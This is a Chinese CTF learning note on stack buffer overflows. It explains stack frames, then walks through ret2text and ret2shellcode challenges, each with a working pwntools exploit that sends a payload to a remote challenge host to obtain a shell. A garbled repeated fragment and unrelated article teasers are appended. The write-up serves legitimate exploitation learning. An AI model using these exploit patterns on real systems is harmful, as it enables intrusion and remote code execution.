pwn学习笔记(2)

pwn学习笔记(2)

1.三种常见的寄存器:

​ ax寄存器:通用寄存器,可用于存放多种数据

​ bp寄存器:存放的是栈帧的栈底地址

​ sp寄存器:存放的是栈顶的地址

2.栈帧与栈工作的简介:

​ 栈帧是存储函数的一些信息的地方,栈帧存储有函数的局部变量,传递给子函数的实际参数,父函数的地址以及上一个栈帧栈底的地址,大致情况如下:

在这里插入图片描述

​ 在函数调用的过程中,首先会讲bp寄存器的值进行压栈,以方便在恢复的时候恢复栈底寄存器的值,再之后,会按顺序将局部变量压栈,最后是子函数的实际参数,会按照先入栈的后出栈,从最后一个实际参数先入栈再到第一个实际参数,比如函数a(int a , int b),压栈的方式就是先压栈b的实际参数,再压栈a的实际参数,当这些压栈完成之后,就可以压栈父函数调用子函数的那条语句的下一条语句的地址,紧接着,可以压栈当前栈帧的栈底地址了。

​ 具体的汇编语言实现就不多做解释了,因为我这里只是简述。

3.缓冲区溢出漏洞:

​ 缓冲区溢出楼哦对那个的本质就是向定长的缓冲区中写入了超长的数据,造成了写入的数据覆盖了其他合法的内存区域。

4.栈溢出之–ret2text:

(1)原理:

​ ret2text应该是最简单的栈溢出漏洞利用的方式也是最简单的:

​ 假设,在栈中,存在如下情况:

在这里插入图片描述

其C程序源代码如下:

int overflow()
{char buf[8];gets(buf);
}

当程序运行到gets的时候,因为gets没有对用户输入的内容的长度进行限制,就导致了本来最多输入8字节的内容,结果输入了超过8字节的内容导致了溢出,覆盖掉了bp寄存器以及返回地址的值,如下:

在这里插入图片描述

​ 之后,可以通过如上的原理,将返回地址的值修改为程序自带的后门函数(如system(“/bin/sh”))中即可。

(2)题目示例–[NSSCTF 2022 Spring Recruit]R3m4ke?:

​ 拿到ELF文件之后第一步应该先检查相关的保护,因为保护这里还没有讲,所以这里拿到的是一个只开了NX保护的题目,该保护对这道题几乎没有什么影响。

在这里插入图片描述

​ 这里可以看出,这个文件是一个64位的小端序文件,所以这里使用IDA进行反编译:
在这里插入图片描述

​ 这里可以很直观的发现,该函数声明了一个32字节的变量,之后通过gets()函数来写入内容,但是却没有对长度进行相关的限制,因此存在溢出漏洞,这个时候就只需要找到后门函数的地址即可,之后通过Sheft+F12,找到/bin/sh这个字符串,然后跟进,发现它存在于一个叫做LookAtMe()这个函数中,这里,也可以直接从函数视图中找到后门:

在这里插入图片描述

​ 这里可以找到后门函数的地址,及0x40072C,因此,这里就可以编写exp,如下

from pwn import *
io = remote("node4.anna.nssctf.cn",28043)
payload = b"a"*0x28 + p64(0x40072C)
io.sendline(payload)
io.interactive()

​ 运行代码之后成功拿到了目标主机的shell:

在这里插入图片描述

5.栈溢出之–ret2shellcode:

(1)原理:

​ 该方法原理与ret2shellcode类似,只是,原本存在的后门没有了,但是给了足够的可写入的地方于用户写入shellcode代码,这里前期存在两种方法写入shellcode,第一种是写入Stack中,第二种是写入bss段,准确地说,必须当一个段中存在可写可执行的权限时才能进行ret2shellcode。

​ 步骤大致是,首先修改下一些配置信息,比如context.arch,当程序时64位时,应该讲此修改为amd64;之后,让python程序自动生成一个shellcode或者去相应的地方找,python的相关代码是:shellcraft[.amd64].sh();之后通过asm()函数将生成的shllcode编译成机器码;然后就是发送相关的垃圾数据之类的进行后续操作。

(2)题目案例–[HNCTF 2022 Week1]ret2shellcode

​ 先查看它的保护类型:

在这里插入图片描述

发现跟上一个一致,这里可以简单说下NX保护,NX保护是栈不可执行,开启了这个保护之后,在栈上写入的shellcode将不会因为我们修改的return address的值而执行,因此,我们可以把目标放到bss段上,不过,首先还是得确保bss段是否存在可执行权限。

​ 对于这道题,首先应该反编译,得到伪代码:

在这里插入图片描述

我们可以发现,在main函数中,这里并没有生命buff变量, 但是这里却可以直接使用,说明buff是在全局变量中进行的声明,因此这里跟进这个变量,发现其在bss段中:

在这里插入图片描述

另外,通过pwndbg的vmmap命令可以知道这段内存存在可执行的权限:

在这里插入图片描述

因此,这个题目的思路就很明了了,首先是程序的分析,通过写入字符串给s,然后将s的内容复制给buff,限制的s的写入长度长于256字节,因此存在缓冲区溢出漏洞,这里就很明了了,代码如下:

from pwn import *
io = remote("node5.anna.nssctf.cn",28172)
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.sh())
buff = 0x4040A0
payload = shellcode.ljust(0x108,b'A') + p64(buff)
io.sendline(payload)
io.interactive()

最后成功拿到目标shell:

x4040A0
payload = shellcode.ljust(0x108,b’A’) + p64(buff)
io.sendline(payload)
io.interactive()


最后成功拿到目标shell:![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/52851acf64c0452f9dcff98caec859a4.png#pic_center)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/454339.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Matplotlib】figure方法 你真的会了吗!?

🎈个人主页:甜美的江 🎉欢迎 👍点赞✍评论⭐收藏 🤗收录专栏:matplotlib 🤝希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共同学习、交流进…

MATLAB如何安装遗传算法工具箱(附方法代码和工具箱链接)

一般MATLAB的工具箱都是需要手动设置安装, 下面我给大家介绍一种用代码安装工具箱的方法, 就以谢菲尔德大学遗传算法工具箱为例 代码和完整的工具箱见:https://download.csdn.net/download/corn1949/88810340 下面直接给出代码: main.m文件代码: clc;close all;c…

【多模态MLLMs+图像编辑】MGIE:苹果开源基于大语言模型的图片编辑神器(24.02.03开源)

项目主页:https://mllm-ie.github.io/ 论文2309.Guiding Instruction-based Image Editing via Multimodal Large Language Models 代码:https://github.com/apple/ml-mgie 媒体:机器之心的解析https://mp.weixin.qq.com/s/c87cUuyz4bUgfW2_m…

如何把大容量10G的文件分享给别人?整理了3个简单的方法~

如果文件过大,比如10G的文件发送起来简直问题重重,不仅费时费流量而且还很可能在发送的中途失败,这时候就需要借助一些压缩软件对文件进行压缩,下面就向大家介绍3个好用的压缩软件~ 方法一:使用嗨格式压缩大师压缩后发…

logback日志配置

springboot默认使用logback 无需额外添加pom依赖 1.指定日志文件路径 当前项目路径 testlog文件夹下 linux会在项目jar包同级目录 <property name"log.path" value"./testlog" /> 如果是下面这样配置的话 window会保存在当前项目所在盘的home文件夹…

list基本使用

list基本使用 构造迭代器容量访问修改 list容器底层是带头双向链表结构&#xff0c;可以在常数范围内在任意位置进行输入和删除&#xff0c;但不支持任意位置的随机访问&#xff08;如不支持[ ]下标访问&#xff09;&#xff0c;下面介绍list容器的基本使用接口。 template <…

数模.matlab画图

一、mesh函数 上图是平常用到的方式 例题&#xff1a; 上图的meshgrid函数相当于上上图的前三个指令&#xff08;temp&#xff0c;x,y&#xff09; mash函数&#xff1a; mashc函数&#xff1a; mashz函数&#xff1a; 上图subplot函数的作用是将下标为index的图片放到对应的x&…

全球5大住宅代理IP服务商测评对比

住宅IP代理为跨境出海用户提供了更加多元、安全和高效的网络访问体验。住宅代理服务使用真实的住宅IP地址&#xff0c;而这些IP地址通常最接近于海外个人家庭用户&#xff0c;从而减少了被封锁或标记为可疑流量的可能性&#xff0c;对于部分跨境电商平台账号&#xff08;如亚马…

RabbitMQ 部署指南

RabbitMQ部署指南 1.单机部署 在Centos7虚拟机中使用Docker来安装。 1.1.下载镜像 方式一&#xff1a;在线拉取 docker pull rabbitmq:3.8-management方式二&#xff1a;从本地加载 加载镜像包&#xff1a; 上传到虚拟机中后&#xff0c;使用命令加载镜像即可&#xff1…

第十二讲_JavaScript浏览器对象模型BOM

JavaScript浏览器对象模型BOM 1. 浏览器对象模型介绍2. location2.1 常用的属性2.2 常用的方法 3. navigator3.1 常用的属性 4. history4.1 常用的方法&#xff1a; 5. 本地存储 1. 浏览器对象模型介绍 BOM(Browser Object Model) 是指浏览器对象模型&#xff0c;浏览器对象模…

ShardingSphere实现openGauss分布式架构

本文档采用openGauss结合ShardingSphere中间件的架构&#xff0c;实现openGauss数据库分布式OLAP场景的环境部署。 术语说明&#xff1a; 开源数据库引擎&#xff1a;openGauss shardingsphere Proxy&#xff1a;定位为透明化的数据库代理端&#xff0c;提供封装了数据库二进…

Yarn常见问题处理

任务出现container OOM异常导致作业失败 原因 Container内存不足或者作业数据倾斜 解决方案 检查Container相关参数,判断是否设置过小(低于4GB)。如果Container小于4GB,优先考虑调大当前作业container大小,如果是Tez任务,还需要同步调整以下参数 # tez container size…